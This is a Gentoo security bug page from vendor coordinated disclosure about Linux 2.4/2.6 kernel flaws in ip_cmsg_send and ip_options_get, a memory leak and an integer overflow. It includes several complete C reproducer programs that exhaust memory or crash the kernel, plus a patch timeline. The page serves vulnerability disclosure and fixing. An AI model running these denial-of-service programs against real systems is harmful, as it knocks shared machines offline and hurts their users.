| Summary: | kernel 2.4, 2.6 fun (Vendor-Sec) (CONFIDENTIAL) | ||||||
|---|---|---|---|---|---|---|---|
| Product: | Gentoo Security | Reporter: | Sune Kloppenborg Jeppesen (RETIRED) <jaervosz> | ||||
| Component: | Kernel | Assignee: | Gentoo Security <security> | ||||
| Status: | RESOLVED DUPLICATE | ||||||
| Severity: | normal | ||||||
| Priority: | High | ||||||
| Version: | unspecified | ||||||
| Hardware: | All | ||||||
| OS: | All | ||||||
| URL: | http://linux.bkbits.net:8080/linux-2.6/ChangeSet%40-1d?nav=index.html | ||||||
| Whiteboard: | CLASSIFIED | ||||||
| Package list: | Runtime testing required: | --- | |||||
| Attachments: |
|
||||||
there is local memory leak if ip_cmsg_send calls a lot of times
ip_options_get,
which does kmalloc() and sets a pointer, losing the previous kmalloced()
pointer so it can't be freed.
attached program makes a box unusable for users when run for about 5-10
minutes.
please think twice before making cve/can entry.
--
georgi
/*
* Copyright Georgi Guninski
* Cannot be used in vulnerability databases (like securityfocus and mitre)
* */
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <ctype.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(int ac,char **av)
{
struct msghdr msghdr;
struct iovec iovector[10];
int i,s,j,ma;
struct sockaddr_in sockad;
char msg[128];
struct cmsghdr *cmsg,*cm2;
char opts[24];
ma=250;
printf("just wait and watch memory usage\n");
while(42)
{
s=socket(PF_INET, /*SOCK_STREAM*/ SOCK_DGRAM, 0);
sockad.sin_family = AF_INET;
sockad.sin_addr.s_addr=inet_addr("127.0.0.1");
sockad.sin_port=htons(8080);
connect(s,(struct sockaddr *) &sockad, sizeof(sockad));
memset(msg,'v',sizeof(msg));
#define VV (ma*(sizeof(struct cmsghdr)+sizeof(opts))+1024*1024)
cmsg = malloc(VV);
memset(cmsg,0,VV);
cmsg->cmsg_len = sizeof(struct cmsghdr) + sizeof(opts);
cmsg->cmsg_level = SOL_IP;
cmsg->cmsg_type = IP_RETOPTS;
memcpy(CMSG_DATA(cmsg), opts, sizeof(opts));
cm2= (struct cmsghdr *) (long) ((char *)CMSG_DATA(cmsg)+sizeof(opts));
for(j=0;j<ma;j++)
{
cm2->cmsg_level = SOL_IP;
cm2->cmsg_type = IP_RETOPTS;
cm2->cmsg_len = sizeof(struct cmsghdr) + sizeof(opts);
cm2= (struct cmsghdr *) (long) ((char *)CMSG_DATA(cm2)+sizeof(opts));
}
cm2->cmsg_level = SOL_IP;
cm2->cmsg_type = IP_RETOPTS;
cm2->cmsg_len = sizeof(struct cmsghdr) + 8;
msghdr.msg_name = &sockad;
msghdr.msg_namelen = sizeof(sockad);
msghdr.msg_control=cmsg;
msghdr.msg_controllen= cmsg->cmsg_len + (j)*cmsg->cmsg_len+cm2->cmsg_len;
msghdr.msg_iov = iovector;
msghdr.msg_iovlen = 1;
iovector[0].iov_base = msg;
iovector[0].iov_len = sizeof(msg);
if ((i = sendmsg(s, &msghdr, 0)) < 0)
{perror("sendmsg");return -42;}
close(s);
free(cmsg);
}
return 42;
}
Fixes should be in Linus latest BK tree. This is public now but I think the bug should stay closed. I agree that this one should stay confidential, adding CLASSIFIED keyword to status whiteboard. We might want to open another (open) bug with only public references where they will be found. Fixed testcase( uninitialized var): /* Fixed testcase( uninitialized var):
/*
* Copyright Georgi Guninski
* Cannot be used in vulnerability databases (like securityfocus and mitre)
* */
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <ctype.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(int ac,char **av)
{
struct msghdr msghdr;
struct iovec iovector[10];
int i,s;
struct sockaddr_in sockad;
char msg[128];
struct cmsghdr *cmsg,*cm2;
char opts[12];
s=socket(PF_INET, /*SOCK_STREAM*/ SOCK_DGRAM, 0);
sockad.sin_family = AF_INET;
sockad.sin_addr.s_addr=inet_addr("127.0.0.1");
sockad.sin_port=htons(8080);
connect(s,(struct sockaddr *) &sockad, sizeof(sockad));
memset(msg,'v',sizeof(msg));
memset(opts,0,sizeof(opts));
#define VV 1024*1024
cmsg = malloc(VV);
memset(cmsg,0,VV);
cmsg->cmsg_len = sizeof(struct cmsghdr) + sizeof(opts);
cmsg->cmsg_level = SOL_IP;
cmsg->cmsg_type = IP_RETOPTS;
memcpy(CMSG_DATA(cmsg), opts, sizeof(opts));
cm2= (struct cmsghdr *) (long) ((char *)CMSG_DATA(cmsg)+sizeof(opts));
cm2->cmsg_level = SOL_IP;
cm2->cmsg_type = IP_RETOPTS;
cm2->cmsg_len = -1;
msghdr.msg_name = &sockad;
msghdr.msg_namelen = sizeof(sockad);
msghdr.msg_control=cmsg;
msghdr.msg_controllen= cmsg->cmsg_len + 420;
msghdr.msg_iov = iovector;
msghdr.msg_iovlen = 1;
iovector[0].iov_base = msg;
iovector[0].iov_len = sizeof(msg);
system("sync");
if ((i = sendmsg(s, &msghdr, 0)) < 0)
perror("sendmsg");
return 42;
}
/*
* Copyright Georgi Guninski
* Cannot be used in vulnerability databases (like securityfocus and mitre)
* */
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <ctype.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(int ac,char **av)
{
struct msghdr msghdr;
struct iovec iovector[10];
int i,s,j,ma;
struct sockaddr_in sockad;
char msg[128];
struct cmsghdr *cmsg,*cm2;
char opts[24];
ma=250;
printf("just wait and watch memory usage\n");
memset(opts,0,sizeof(opts));
while(42)
{
s=socket(PF_INET, /*SOCK_STREAM*/ SOCK_DGRAM, 0);
sockad.sin_family = AF_INET;
sockad.sin_addr.s_addr=inet_addr("127.0.0.1");
sockad.sin_port=htons(8080);
connect(s,(struct sockaddr *) &sockad, sizeof(sockad));
memset(msg,'v',sizeof(msg));
#define VV (ma*(sizeof(struct cmsghdr)+sizeof(opts))+1024*1024)
cmsg = malloc(VV);
memset(cmsg,0,VV);
cmsg->cmsg_len = sizeof(struct cmsghdr) + sizeof(opts);
cmsg->cmsg_level = SOL_IP;
cmsg->cmsg_type = IP_RETOPTS;
memcpy(CMSG_DATA(cmsg), opts, sizeof(opts));
cm2= (struct cmsghdr *) (long) ((char *)CMSG_DATA(cmsg)+sizeof(opts));
for(j=0;j<ma;j++)
{
cm2->cmsg_level = SOL_IP;
cm2->cmsg_type = IP_RETOPTS;
cm2->cmsg_len = sizeof(struct cmsghdr) + sizeof(opts);
cm2= (struct cmsghdr *) (long) ((char *)CMSG_DATA(cm2)+sizeof(opts));
}
cm2->cmsg_level = SOL_IP;
cm2->cmsg_type = IP_RETOPTS;
cm2->cmsg_len = sizeof(struct cmsghdr) + 8;
msghdr.msg_name = &sockad;
msghdr.msg_namelen = sizeof(sockad);
msghdr.msg_control=cmsg;
msghdr.msg_controllen= cmsg->cmsg_len + (j)*cmsg->cmsg_len+cm2->cmsg_len;
msghdr.msg_iov = iovector;
msghdr.msg_iovlen = 1;
iovector[0].iov_base = msg;
iovector[0].iov_len = sizeof(msg);
if ((i = sendmsg(s, &msghdr, 0)) < 0)
{perror("sendmsg");return -42;}
close(s);
free(cmsg);
}
return 42;
}
Created attachment 45889 [details, diff] cmsg-compat-signedness-fix 2.4.x fix for compat things from Olaf Kirch <okir@suse.de> Seems to be already fixed in BK 2.4: http://linux.bkbits.net:8080/linux-2.4/cset@41b77314ZtyUzWzZFzaCRGoQc6hKcw -------------snip------------------ Nov25 isec.pl reported a CMSG DoS, sends a reproducer Nov25 mjc assigns CAN-2004-1016 from his pool Nov27 Herbert Xu came up with a patch and posted it to vendor-sec Dec08 Georgi reports CMSG validation flaws, sends a reproducer Dec08 Earlier patch from Herbert Xu get committed (mentions Georgi) Dec12 Confirmed embargo date with isec.pl folks as Dec14 Both issues are confirmed as being fixed by the following changesets (note two needed for 2.6 kernels due to compat also being affected) http://linux.bkbits.net:8080/linux-2.4/cset@41b76e94BsJKm8jhVtyDat9ZM1dXXg http://linux.bkbits.net:8080/linux-2.6/cset@41b768d1ySHbfa7cUWDle8NjDT_02A http://linux.bkbits.net:8080/linux-2.6/cset@41b76c07Ee61GkoNwMH-oOvWG2FdxA ------------------------------------ *** This bug has been marked as a duplicate of 73210 *** |
there is local integer overflow in 2.6 in ip_options_get (net/ipv4/ip_options.c) triggered by ip_cmsg_send (net/ipv4/ip_sockglue.c): ------- int err; case IP_RETOPTS: err = cmsg->cmsg_len - CMSG_ALIGN(sizeof(struct cmsghdr)); err = ip_options_get(&ipc->opt, CMSG_DATA(cmsg), err < 40 ? err : 40, 0); ------------------------------------------------ ^^^^^^^^^^^^^^^ if cmsg->cmsg_len is -1, optlen in ip_options_get may be -13 and then opt = kmalloc(sizeof(struct ip_options)+((optlen+3)&~3), GFP_KERNEL); overflows and then memcpy(opt->__data, data, optlen); blows the kernel. the problem is deeper than just the signdness of "err" - negative cmsg_len causes problems, so probably the CMSG* macros and checks for cmsg_len should be fixed. on 2.6.* kernel freezes, reboots or gives backtrace. don't know if this is be exploitable, but there is chance it may be. on 2.4 (have not checked the latest 2.4) the system becomes inresponsive. attached is a testcase. -- georgi /* * Copyright Georgi Guninski * Cannot be used in vulnerability databases (like securityfocus and mitre) * */ #include <unistd.h> #include <stdlib.h> #include <stdio.h> #include <errno.h> #include <ctype.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> int main(int ac,char **av) { struct msghdr msghdr; struct iovec iovector[10]; int i,s; struct sockaddr_in sockad; char msg[128]; struct cmsghdr *cmsg,*cm2; char opts[12]; s=socket(PF_INET, /*SOCK_STREAM*/ SOCK_DGRAM, 0); sockad.sin_family = AF_INET; sockad.sin_addr.s_addr=inet_addr("127.0.0.1"); sockad.sin_port=htons(8080); connect(s,(struct sockaddr *) &sockad, sizeof(sockad)); memset(msg,'v',sizeof(msg)); #define VV 1024*1024 cmsg = malloc(VV); memset(cmsg,0,VV); cmsg->cmsg_len = sizeof(struct cmsghdr) + sizeof(opts); cmsg->cmsg_level = SOL_IP; cmsg->cmsg_type = IP_RETOPTS; memcpy(CMSG_DATA(cmsg), opts, sizeof(opts)); cm2= (struct cmsghdr *) (long) ((char *)CMSG_DATA(cmsg)+sizeof(opts)); cm2->cmsg_level = SOL_IP; cm2->cmsg_type = IP_RETOPTS; cm2->cmsg_len = -1; msghdr.msg_name = &sockad; msghdr.msg_namelen = sizeof(sockad); msghdr.msg_control=cmsg; msghdr.msg_controllen= cmsg->cmsg_len + 42; msghdr.msg_iov = iovector; msghdr.msg_iovlen = 1; iovector[0].iov_base = msg; iovector[0].iov_len = sizeof(msg); system("sync"); if ((i = sendmsg(s, &msghdr, 0)) < 0) perror("sendmsg"); return 42; }